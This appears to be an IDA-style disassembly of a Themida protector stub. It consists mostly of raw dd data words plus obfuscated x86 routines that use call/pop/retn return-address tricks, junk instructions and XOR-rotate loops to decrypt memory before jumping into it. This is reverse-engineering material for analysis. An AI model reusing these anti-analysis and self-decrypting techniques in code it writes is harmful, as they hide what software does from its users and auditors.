dd 5B5B5742h, 0FD0FF5Ah, 89F5DEB7h, 142EF985h, 5D958B06h
dd 8B061405h, 25E281D2h, 6654F270h, 0EE8D98Ch, 7E000000h
dd 0FE3F44B1h, 8D5B445Dh, 9BBDD071h, 0B444BA0Dh, 0F65A564Fh
dd 840F04C1h, 220h, 1C4D9501h, 11E90614h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 0AE70C356h, 17ADEA0Fh, 2421B58Bh, 0BD890614h, 614160Dh
dd 1180C681h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 28681EC3h, 0FC8BDB6Bh, 3D9BD83h
dd 0F000614h, 2C85h, 7AE9F800h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A97EC350h
dd 38D0Fh, 0B70F0000h, 3E83DFh, 4B840Fh, 85890000h, 61419E1h
dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 8646E1DFh, 870F146Ah, 6, 19E9950Bh, 95FF0614h
dd 6141169h, 8061D18Bh, 0B2E9E3D3h, 89FFFFFFh, 140A358Dh
dd 106C706h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 69B1C353h, 0AA53E051h
dd 66D08A60h, 61947CBAh, 4D1FBD83h, 0F050614h, 0F785h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 615DDDB6h, 1248C48Ah, 8D319EF3h, 61419C1h
dd 753830BAh, 0F9B58B7Ch, 8B06142Eh, 14316195h, 8B576006h
dd 141D4D85h, 89605F06h, 141D5595h
dd 9E906h, 50630000h, 0FAE62BCCh, 61302468h, 64B961h, 0DF8B0000h
dd 0FE83E80h, 1084h, 95895200h, 61401CDh, 18E95Ah, 0DE800000h
dd 57E80A8h, 68840FC2h, 0F000000h, 581h, 49E3BB00h, 6A4670A8h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 2CDFC350h, 0EAA00A4Ah, 0B36FBB78h, 0F4917C4h
dd 0FFFFA385h, 2D8D89FFh, 0E9061408h, 2Ch, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 54C35747h, 75CBBF19h
dd 89464968h, 140571B5h, 0DFB70F06h, 9BD8358h, 6141Ch
dd 1AD840Fh, 0B5890000h, 614228Dh, 2ED9958Bh, 6A600614h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 0B880C351h, 8D0FC78Bh, 8, 2830Fh, 5B520000h
dd 85C6DE8Bh, 6141A59h, 50006A54h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0A502D5FEh, 2EA59D2Bh
dd 4E80614h, 0F4000000h, 0E9FF4EBEh, 7, 1707BDA4h, 50C88C98h
dd 6E9h, 0B3D41D00h, 8B38AEA3h, 0B3042444h, 8B008B0Ch
dd 244489DFh, 0F850F04h, 0E8000000h, 7, 0C11D6C40h, 60D10567h
dd 6A585A61h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 235EC355h, 29E5735h, 89D78B66h
dd 1418B9B5h, 0D1B5FF06h, 0E906141Ah, 8, 7C6CB196h, 0AC58F826h
dd 80DB858Dh, 9D890617h, 6141C01h, 6AD0FFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 860F0DC3h
dd 6, 0E15B501h, 6A0614h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 28C35545h, 81931CD4h, 8907E8CAh, 0E810F2Eh
dd 60000000h, 7E9h, 0C0351200h, 0E672F01Bh, 9B5FF61h, 0BA06141Ch
dd 4D96CA82h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 721791C3h, 4B45593h, 819326F9h
dd 4292B1CAh, 0DE86145h, 0F7000000h, 0D876BD4Dh, 0B39153BDh
dd 718327EEh, 9B99D03h, 0C75A0614h, 1429AD85h, 106h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 8160F889h, 0B6DABEE7h, 0F6B70F36h, 0D7B70F61h, 53006A60h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 0DEDAA05Ah, 0CCFFDC86h, 15E19533h, 4E80614h, 80000000h
dd 0BA000000h, 6AFA31C7h, 10E850h, 0C6ED0000h, 7272A449h
dd 2541AAE0h, 0FEFD82C7h, 0E956D473h, 7, 88101048h, 5AD6A006h
dd 24448B5Ah, 8E0F6004h, 4, 83C9BB66h, 6E9h, 0C283300h
dd 61813C2Eh, 0D3BB008Bh, 8913BF9Fh, 56042444h, 0FE9h
dd 0D614A500h, 6DE194C4h, 814EF783h, 56F6D50Ah, 9D8B585Ah
dd 614002Dh, 19E1B509h, 0FF6A0614h, 9D19D8Bh, 95FF0614h
dd 6143525h, 12E9h, 0FA5F8C00h, 550EC887h, 5263DE41h, 28448C54h
dd 0E9C2A3E7h, 14h, 99CD587Fh, 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh
dd 2E18317h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 0F7E3A356h, 3AAEF52Eh, 6820FDAh
dd 8B000000h, 140C399Dh, 0D18B5006h, 81240489h, 266E87DBh
dd 41B58952h, 8B06142Ah, 14219185h, 0D38B6606h, 840FC00Bh
dd 11h, 15559D8Bh, 95FF0614h, 6141BE5h, 70D28166h, 6D85C716h
dd 106140Dh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0BCE7C353h, 0D788C7FBh
dd 58D9D89h, 0E3810614h, 6F95F3FAh, 83DF8B66h, 141999BDh
dd 840F0006h, 14h, 2B45958Bh, 95FF0614h, 6142CADh, 9D8B95B7h
dd 6143069h, 24F1BD83h, 0F000614h, 1A84h, 0CE900h, 0C5B50000h
dd 7E21B031h, 6240C8F9h, 95FF753Ch, 6140F7Dh, 83D88B66h
dd 140905BDh, 840F0006h, 46h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0B9C35242h, 8AFCEF96h, 5379FA11h
dd 0BDBD836Dh, 6142Ch, 14850Fh, 95230000h, 61434FDh, 3079958Bh
dd 95FF0614h, 6140EFDh, 0BD83D78Ah, 6141D9Dh, 5C840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0E1CBC357h, 0F60FA7Ah, 682h, 7D9D8B00h
dd 8006142Ch, 8161C0F5h, 141A4985h, 400306h, 81D38A00h
dd 1430C185h, 400306h, 10800F00h, 0E9000000h, 0Bh, 0F92816D6h
dd 8F4296C2h, 0F83C50Fh, 58D0F31h, 0BB000000h, 44A45547h
dd 5C788D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 0AC51FDC3h, 0FB749A87h, 2950935Fh
dd 141B7D8Dh, 60018906h, 0ACD28166h, 31B589C6h, 61061420h
dd 12E9C233h, 26000000h, 28F1F6Fh, 0EEC8E727h, 0B5EC866Eh
dd 0CF5B1ECCh, 4418927h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 2FC35747h, 46F5B6EBh, 2C1D1952h, 0BE800h
dd 84C40000h, 6060F13Bh, 1E63CAF9h, 0F19D8B60h, 5B061420h
dd 6A310Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0C02BA6C3h, 6B6E0D71h, 0E8164671h, 11h, 0D0C6C249h
dd 0FC2B52F8h, 19F62EA6h, 10D608B9h, 0D7B70F9Eh, 0DD9D295Bh
dd 8D06140Ah, 145C848Dh, 49BD8906h, 8906141Dh, 3DB58901h
dd 33061431h, 56006AC2h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0BD8B9E9Eh, 7F2113D4h, 23DA8B66h
dd 1423599Dh, 4418906h, 2820Fh, 1BB30000h, 2F41BD83h, 0F000614h
dd 3184h, 0F3816600h, 0B52917EAh, 61402DDh, 1FC195FFh
dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 8DCECAC3h, 0BD832F26h, 6142401h, 2E850F01h
dd 0FC000000h, 28E9h, 0D98D8900h, 8B06140Fh, 145E29B5h
dd 6C706h, 8B000000h, 145BA0B5h, 6C706h, 0CF000000h, 0A503E381h
dd 8B662D03h, 6DBD83D7h, 6140Dh, 18B840Fh, 9D890000h, 61425E1h
dd 0BD83F88Ah, 6141BBDh, 45850F01h, 9000001h, 141FE1BDh
dd 138D8B06h, 6A06144Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 3E00C356h, 6978EFD2h
dd 0D381667Ah, 958B472Bh, 6142F99h, 6A0001C6h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 6D86C350h, 735DE762h, 128B25FDh, 0FE960h, 0A70E0000h
dd 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 4E869h, 800000h
dd 52520000h, 5BD08B66h, 0B960505Bh, 13185AEDh, 24448B61h
dd 800F04h, 8B000000h, 0CE8A6000h, 24448961h, 81BA6604h
dd 0BD8958F9h, 6143169h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 0CFCF13C3h, 815765CBh
dd 32C1CFEBh, 0BBB35B58h, 352595FFh, 6A0614h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 81674DC3h
dd 618DD0E1h, 0F11958Bh, 95FF0614h
dd 6141669h, 8BD88B66h, 14008195h, 138D8B06h, 6A06144Dh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 5193C351h, 0DD8AA06Ah, 0FEA572C9h, 0E4E68001h
dd 203DBD83h, 0F010614h, 2485h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8B90FBD7h
dd 14318595h, 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0D63CC357h, 0B1BD83F5h
dd 61430h, 0BD830975h, 6141AE1h, 501A7400h, 8BC08B53h
dd 141A4985h, 49858906h, 8D06141Ah, 16B73A9Dh, 5BD3FF06h
dd 0E1BD8358h, 6141Ah, 53501874h, 1A49858Bh, 85890614h
dd 6141A49h, 0B4299D8Dh, 0D3FF0616h, 0F56585Bh, 58Ch, 7101BA00h
dd 0E85A2D47h, 0Dh, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 138E0F6Ch
dd 0E9000000h, 0Eh, 3FFF91Fh, 9F653618h, 0EF9932B2h, 8B5A16B9h
dd 0DB8166C0h, 0BD831B1Fh, 6140D6Dh, 27850F00h, 8B000000h
dd 14033D95h, 0E5BD8306h, 61419h, 14840Fh, 0FE90000h, 10000000h
dd 118BD202h, 98F8E689h, 0C1165147h, 0BD8328AAh, 6140D6Dh
dd 19840F00h, 89000000h, 1409E985h, 35BD8306h, 61425h
dd 6840Fh, 95330000h, 6141501h, 0D6DBD83h, 0F000614h, 3384h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 9DF4E3B2h, 35BD83AAh, 61425h, 6840Fh, 85890000h
dd 6140539h, 0D6DBD83h, 0F000614h, 1584h, 83DA8B00h, 140551BDh
dd 840F0006h, 6, 2375958Bh, 0BD830614h, 6140D6Dh, 52840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 0DDC4C350h, 10E952h, 800D0000h
dd 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h, 835B5B76h, 1404B9BDh
dd 840F0006h, 11h, 0DBA6656h, 95FF5AB5h, 61404D5h, 0D88B6660h
dd 66C08B61h, 8336E4BAh, 1430B1BDh, 9750006h, 1AE1BD83h
dd 74000614h, 8B53501Ah, 0C1858BC0h, 89061430h, 1430C185h
dd 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh, 18740006h
dd 858B5350h, 61430C1h, 30C18589h, 9D8D0614h, 616B442h
dd 585BD3FFh, 1C31958Bh, 8B660614h, 31C08BD9h, 1419059Dh
dd 0ADB58906h, 83061402h, 140D6DBDh, 840F0006h, 497h, 0FA19D8Bh
dd 0E2810614h, 779FA672h, 1D51BD83h, 0F020614h, 3684h
dd 0FFBA6600h, 1BD8355h, 1061424h, 25850Fh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0FB56A2C3h, 687BD5C1h, 60DEEE80h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0E8C35646h, 8EEFD8h, 93635580h
dd 6D9D01D4h, 0BB06142Fh, 580F49A3h, 4D138D8Bh, 0B5890614h
dd 6142C35h, 950101FEh, 6141475h, 4E8h, 8000h, 11E85300h
dd 4A000000h, 96643E3Ah, 422482ACh, 33FFF85h, 393D80D8h
dd 5E8h, 0F687D800h, 5A5A7E10h, 12E9505Ah, 53000000h, 0B4753F21h
dd 0B32C96E4h, 0BAD2EB9Bh, 5FF4B5A4h, 24448B92h, 9E904h
dd 342F0000h, 785ED287h, 8BE1286Eh, 0BA665700h, 895BF24Ah
dd 0E8042444h, 5, 0C517AAA6h, 0D78B665Bh, 6A585Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 5ECA82C3h, 0D1D1E6E0h, 0AEE28166h, 89FF6AA6h, 14261585h
dd 2595FF06h, 6A061435h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0E56BC353h, 0C46238A3h
dd 0CB8166E0h, 296140EBh, 142F299Dh, 0F5BD8D06h, 6A061412h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0A186C353h, 0E8604646h, 12h, 71567876h, 0A1E7864Bh
dd 681C5BD5h, 0DFB1FB66h, 8B66D787h, 8D315ED0h, 6140D01h
dd 1C4F8B61h, 74EB8166h, 60016A6Dh, 3850Fh, 0B70F0000h
dd 0DE9DBh, 90B50000h, 7463E8D6h, 0FCE283C2h, 61E3680Fh
dd 0A0BA6691h, 8B665008h, 6A91D1h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 490E74C3h, 1B306D7Ch
dd 8DD18B00h, 173E0685h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0E6D8B949h, 9D0BBB99h
dd 61400B5h, 2CD99D8Bh, 0D0FF0614h, 6659509h, 4F8B0614h
dd 69958920h, 6A06142Eh, 0E5958B03h, 50061402h, 89D38B66h
dd 6A240Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0BD0902C3h, 614102Dh, 13AD9D8Bh, 0B70F0614h
dd 6858DDAh, 8B06173Eh, 1423299Dh, 89D0FF06h, 1421658Dh
dd 8DF38A06h, 1412F5BDh, 0DBB70F06h, 0F1C4F8Bh, 685h, 0B1BD8900h
dd 6A061429h, 50D38B01h, 89D08B66h, 66FC240Ch, 858DD08Bh
dd 6173E06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0CAC35040h, 0F78A6C7Eh, 8BE1BA66h, 13E8D0FFh, 0EB000000h
dd 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh, 0F780755Fh
dd 4F8B5AD4h, 919D8920h, 6A061411h, 57006A03h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 58EFB22Ah
dd 0BE81Dh, 82260000h, 0D008E3E6h, 954A396Ah, 0C19D898Dh
dd 5A061405h, 10E95091h, 48000000h, 11377253h, 0FF4659Dh
dd 1147D850h, 91DFBF8Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 4FC35040h, 8F0FE734h, 0Dh, 0F1816660h
dd 0B5233724h, 614030Dh, 6858D61h, 6A06173Eh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 399BC355h, 0DCFD68B9h, 1B7C2F3Ch, 46D9D03h, 0D0FF0614h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F5C35646h
dd 8BDA8B66h, 144D138Dh, 916DBB06h, 1FE3306h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F6C35040h, 0CCDD5F65h
dd 0EC2B2286h, 31958B56h, 5B06142Ah, 4D13858Bh, 0FE0614h
dd 5B98589h, 16A0614h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 8DC35343h, 8D297168h, 6140D69h, 360E7668h
dd 0D78B66EDh, 89243481h, 6A12C991h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 4D64C355h
dd 238199BCh, 0D9838F86h, 1BFD9509h, 858D0614h, 6173E10h
dd 83F5D0FFh, 1419E5BDh, 840F0006h, 106h, 159D8Bh, 0BD830614h
dd 61412CDh, 0F3850F01h, 0E8000000h, 14h, 0EE8650BDh, 0D66547DCh
dd 0F65D102Bh, 25D1524Eh, 70779CD7h, 5CF575BBh, 8D8D5B22h
dd 6173E1Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 8BC35646h, 94FD70AEh, 0DCC686F8h, 60036A3Fh, 0BF0F65B2h
dd 16A61D7h, 2EF1952Bh, 0D1FF0614h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 8C35040h, 0B0387165h, 9D8B182Eh
dd 614223Dh, 8EF5B860h, 800F695Bh, 6, 2C299D8Bh, 6A610614h
dd 8E85301h
dd 0ED000000h, 0F05AF32Eh, 0BB579D3Bh, 4958D0B4h, 16A5B5Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 73C35747h
dd 6850F60h, 89000000h, 140AFDB5h, 858D8B06h, 61061430h
dd 9DBBD1FFh, 0E862DBB9h, 0FA476EB5h, 0D899D8Bh, 206A0614h
dd 25398D31h, 0FF6A0614h, 8BEB8166h, 94CA81FFh, 0FF5EA20Ah
dd 14352595h, 0B806h, 0BD890000h, 61430ADh, 840FC00Bh
dd 2Ah, 0F659D8Bh, 0BD830614h, 6141A71h, 17840F00h, 0FF000000h
dd 141DA995h, 0B880F06h, 0E9000000h, 6, 0A21E157Ch, 858BFEA2h
dd 6142D01h, 6860Fh, 85890000h, 61421A9h, 6A0000C6h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 0E84EC352h, 0Dh, 16BEEFh, 0FCF60BB8h, 3EE39C43h, 0CD850953h
dd 5A06140Fh, 15BD9D89h, 80580614h, 8C66A6D7h, 51006AD9h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0C7AD5AAEh, 958B9C5Ah, 614253Dh, 0F04C1F6h, 9184h, 0DEB70F00h
dd 0C91385BBh, 84E942h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 807F86C3h, 0B58B76DEh
dd 6142421h, 6E9h, 0B2C68400h, 81F6E873h, 1180C6h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 7BB258CCh, 6C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 8465ADC3h, 265FA83Ah
dd 22F99503h, 0B35E0614h, 0F883C1h, 0B05840Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0BD41DC3h, 1410B99Dh, 1F88306h, 186850Fh, 0BA660000h
dd 0B8582Ah, 53000000h, 0F5B589h, 0B5A0614h, 0F5840FC0h
dd 0F000000h, 680h, 399D2B00h, 8306142Ch, 840F01F8h, 0F3h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h
dd 0D68BC87Bh, 0D8E28166h, 3F88379h, 40840Fh, 958B0000h
dd 61431EDh, 0B8h, 8DAAB200h, 5B89E0BDh, 6820F00h, 1000000h
dd 14230D9Dh, 6AE7FF06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 80FBC357h, 1B8B4DEh
dd 89000000h, 14109D95h, 0E0BD8D06h, 6A005B89h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 0F57CC353h, 0E7FF3344h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 63C35747h, 0DF8DB139h, 1FC23803h, 9E938h
dd 17CE0000h, 9CB5BC89h, 8B1D01EDh, 14086995h, 18E0F06h
dd 0FC000000h, 439FBD8Dh, 8C0F0614h, 0
; ---------------------------------------------------------------------------
jmp loc_54F90E
; ---------------------------------------------------------------------------
mov dh, bl
mov dword ptr [ebp+6144D6Eh], 5
push 0
push edi
call sub_54F694
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F694 proc near ; CODE XREF: Themida_:0054F68Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_54F694 endp
; ---------------------------------------------------------------------------
mov bh, 0Fh
mov edi, 0D5BD89D8h
sbb [esi+eax], edx
mov eax, 5
push 0
push ebp
call sub_54F6BE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F6BE proc near ; CODE XREF: Themida_:0054F6B6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_54F6BE endp
; ---------------------------------------------------------------------------
dw 9BF0h
dd 899E9636h, 1430ADB5h, 8EAE906h, 950B0000h, 6142BA1h
dd 0F02F883h, 0C885h, 7E800h, 0F5570000h, 939EF62Dh, 5BD58A61h
dd 0B8h, 0BD8B6000h, 6142539h, 0FC00B61h, 6A84h, 8D858900h
dd 83061419h, 840F01F8h, 0FFFFFF5Fh, 2635B529h, 0F8830614h
dd 0CB840F03h, 89FFFFFEh, 14199D8Dh, 0B806h, 9D8B0000h
dd 6142C99h, 89E0BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 6EB782C3h, 0B742AE4Dh
dd 0CB8166AEh, 950B03A3h, 61421B9h, 6EBBE7FFh, 8D307392h
dd 144597BDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 33173DBEh, 140C8D95h, 4D958906h
dd 0E9061405h, 15Eh, 0FE1F3FBBh, 3F88363h, 4D850Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 3FEA11C3h, 7118D484h, 7E9h, 0CDDD6600h, 0BE9616CCh
dd 8DDBBF0Fh, 14472BBDh, 6E906h, 86320000h, 0D7C0A1B8h
dd 109E9h, 25952300h, 83061416h, 850F05F8h, 2Ah, 16799D03h
dd 0A9E90614h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 6651C353h, 0F883DE8Bh
dd 3D850F06h, 8B000000h, 23BD8DDFh, 6A061449h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 0DA54C350h, 663F315Ah, 89AC98BAh, 142B3DBDh, 90E906h
dd 8D310000h, 61413CDh, 0F07F883h, 3885h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 1D29BA3Ch, 0BD8D67DEh, 6141DB5h, 0E799D8Bh, 0BDE90614h
dd 89000000h, 14319DBDh, 0AF88306h, 40850Fh, 0B5010000h
dd 6142C91h, 4B1BBD8Dh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0C3B137C3h, 6E9h, 78F000h
dd 0E980864Ah, 6, 1CD6F281h
db 0A6h, 19h
; ---------------------------------------------------------------------------
loc_54F90E: ; CODE XREF: Themida_:0054F678j
push edi
push 0
push edi
call sub_54F91A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F91A proc near ; CODE XREF: Themida_:0054F912p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_54F91A endp
; ---------------------------------------------------------------------------
dw 0F62h
; ---------------------------------------------------------------------------
mov bh, 0DAh
mov ecx, 0FF6FD85h
mov dx, cx
loc_54F936: ; CODE XREF: Themida_:0054F96Aj
cmp dword ptr [edi], 0
jz loc_54F975
add ebx, [ebp+6140F79h]
xor [edi], cl
jle loc_54F959
js loc_54F959
mov [ebp+6142FB9h], ecx
loc_54F959: ; CODE XREF: Themida_:0054F947j
; Themida_:0054F94Dj
ror ecx, 1
mov edx, 403078CEh
inc edi
movzx edx, ax
sub [ebp+6140BB5h], edx
jmp loc_54F936
; ---------------------------------------------------------------------------
add [ebp+6142B31h], ebx
loc_54F975: ; CODE XREF: Themida_:0054F939j
pop edi
sub [ebp+61419C9h], edx
mov [ebp+6144D17h], edi
mov [ebp+61416F5h], ebx
mov ebx, eax
lea ecx, [ebp+6140795h]
push 0
push esi
call sub_54F99B
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F99B proc near ; CODE XREF: Themida_:0054F993p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_54F99B endp
; ---------------------------------------------------------------------------
lodsb
inc edi
mov bx, 0B6C0h
push dword ptr [ebp+6142EF9h]
push 0
push eax
call sub_54F9C2
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54F9C2 proc near ; CODE XREF: Themida_:0054F9BAp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_54F9C2 endp
; ---------------------------------------------------------------------------
dw 17C0h
; ---------------------------------------------------------------------------
fild dword ptr [edi+18016EC3h]
push esi
mov edx, 29A4C648h
pop ebx
call sub_54F9F1
stc
adc byte ptr [edx+edi-68h], 19h
sti
inc edx
retn 35D1h
; =============== S U B R O U T I N E =======================================
sub_54F9F1 proc near ; CODE XREF: Themida_:0054F9E1p
; FUNCTION CHUNK AT 0054FAEC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0054FC9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0054FCB9 SIZE 00000003 BYTES
mov bx, 5F95h
pop ebx
lea eax, [ebp+616A99Ah]
push eax
lea edi, [ebp+61453FBh]
lea ecx, [ebp+6146E31h]
mov eax, 54831ABCh
sub ecx, edi
loc_54FA10: ; CODE XREF: sub_54F9F1+25j
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_54FA10
lea esi, [ebp+6146D96h]
lea ecx, [ebp+6146E49h]
sub ecx, edi
rep movsb
xor ecx, ecx
mov eax, 0
or eax, eax
jz short loc_54FA79
cmp dword ptr [ebp+6141A71h], 0
jz short loc_54FA42
call dword ptr [ebp+6141DA9h]
loc_54FA42: ; CODE XREF: sub_54F9F1+49j
mov esi, [ebp+6144D17h]
lea eax, [ebp+616A99Ah]
call eax
lea eax, [ebp+614432Bh]
call eax
mov dword ptr [ebp+6143495h], 1
mov esp, [ebp+6143505h]
mov esi, [ebp+6142679h]
mov ebp, [ebp+6142E29h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_54FA79: ; CODE XREF: sub_54F9F1+40j
mov [ebp+614210Dh], edi
mov bl, ch
sbb ebx, 52B5F971h
cmp dword ptr [ebp+6142B95h], 0
jz loc_54FAEC
push 0
push ebx
call sub_54FA9F
and [ebx-3Dh], bl
sub_54F9F1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_54FA9F proc near ; CODE XREF: sub_54F9F1+A6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_54FA9F endp
; ---------------------------------------------------------------------------
db 16h
dd 0B97AE6ABh, 66753A6Bh, 4B3BD281h, 91195FFh, 6A0614h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 127284C3h, 6E5B0F85h, 958BFCA9h, 6140B81h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54F9F1
loc_54FAEC: ; CODE XREF: sub_54F9F1+9Dj
cmp dword ptr [ebp+61403D9h], 0
jnz loc_54FC9B
push 0
push ebx
call sub_54FB04
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_54F9F1
; =============== S U B R O U T I N E =======================================
sub_54FB04 proc near ; CODE XREF: sub_54F9F1+10Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_54FB04 endp
; ---------------------------------------------------------------------------
dd 994B62A9h, 0FEE49C76h, 83D8B70Fh, 1412CDBDh, 850F0106h
